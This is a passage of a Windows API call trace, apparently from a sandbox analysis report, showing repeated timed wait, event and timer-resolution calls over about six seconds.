	[0104.979] SetEvent (hEvent=0xb4) returned 1
	[0104.979] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0104.980] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0104.980] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0105.013] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0105.013] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0105.119] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0105.125] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0105.125] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0105.228] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0105.228] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0105.334] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0105.441] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0105.549] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0105.549] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0105.550] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0105.550] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0105.648] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0105.749] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0105.860] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0105.960] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0105.960] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0105.961] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0105.961] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0106.059] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0106.157] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0106.260] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0106.359] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0106.401] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0106.401] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0106.503] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0106.503] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0106.610] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0106.709] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0106.809] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0106.986] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0106.986] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0106.988] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0106.988] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0107.087] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0107.185] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0107.247] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0107.302] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0107.401] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0107.458] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0107.458] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0107.563] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0107.563] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0107.661] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0107.760] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0107.866] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0107.906] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0107.906] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0108.002] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0108.003] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0108.018] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0108.037] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0108.040] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0108.042] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0108.049] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0108.051] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0108.052] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0108.061] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0108.068] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0108.075] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0108.082] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0108.084] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0108.091] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0108.095] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0108.098] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0108.103] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0108.105] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0108.106] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0108.109] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0108.112] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0108.112] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0108.114] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0108.119] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0108.122] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0108.122] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0108.124] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0108.133] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0108.136] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0108.139] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0108.141] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0108.142] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0108.144] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0108.147] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0108.149] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0108.152] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0108.155] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0108.170] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0108.172] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0108.175] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0108.178] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0108.180] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0108.182] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0108.186] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0108.190] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0108.193] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0108.199] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0108.202] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0108.206] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0108.207] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0108.208] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0108.212] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0108.214] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0108.218] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0108.220] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0108.222] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0108.230] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0108.235] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0108.241] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0108.252] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0108.262] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0108.272] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0108.287] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0108.298] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0108.309] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0108.319] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0108.335] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0108.348] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0108.358] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0108.391] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0108.400] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0108.417] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0108.432] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0108.462] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0108.575] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0108.586] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0108.601] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0108.613] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0108.626] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0108.638] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0108.651] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0108.661] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0108.683] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0108.693] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0108.704] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0108.714] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0108.729] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0108.743] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0108.753] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0108.768] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0108.778] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0108.793] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0108.804] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0108.814] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0108.827] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0108.838] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0108.855] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0108.867] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0108.884] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0108.898] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0108.916] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0108.928] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0108.941] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0108.952] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0108.969] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0108.979] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0108.992] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0109.003] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0109.033] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0109.044] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0109.057] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0109.068] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0109.078] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0109.089] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0109.098] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0109.109] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0109.119] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0109.132] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0109.143] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0109.153] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0109.164] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0109.174] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0109.184] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0109.198] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0109.210] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0109.227] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0109.239] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0109.252] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0109.268] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0109.279] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0109.298] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0109.317] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0109.329] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0109.341] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0109.351] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0109.362] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0109.378] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0109.390] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0109.410] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0109.427] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0109.460] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0109.474] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0109.485] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0109.496] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0109.509] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0109.521] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0109.532] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0109.543] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0109.553] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0109.574] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0109.586] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0109.602] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0109.619] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0109.646] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0109.657] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0109.666] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0109.677] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0109.693] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0109.704] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0109.719] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0109.730] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0109.741] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0109.751] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0109.764] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0109.776] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0109.789] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0109.799] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0109.809] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0109.822] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0109.832] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0109.844] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0109.873] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0109.882] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0109.892] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0109.941] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0109.952] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0110.002] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0110.014] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0110.024] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0110.036] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0110.047] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0110.066] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0110.077] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0110.089] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0110.107] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0110.116] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0110.127] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0110.137] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0110.146] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0110.165] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0110.177] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0110.187] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0110.198] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0110.208] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0110.233] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0110.243] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0110.254] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0110.264] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0110.275] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0110.286] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0110.298] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0110.307] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0110.318] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0110.328] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0110.339] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0110.349] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0110.362] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0110.376] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0110.386] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0110.396] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0110.406] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0110.416] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0110.428] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0110.438] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0110.449] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0110.459] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0110.469] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0110.482] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0110.501] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0110.527] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0110.543] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0110.555] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0110.579] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0110.589] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0110.599] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0110.615] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0110.627] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0110.637] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0110.648] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0110.662] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0110.674] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
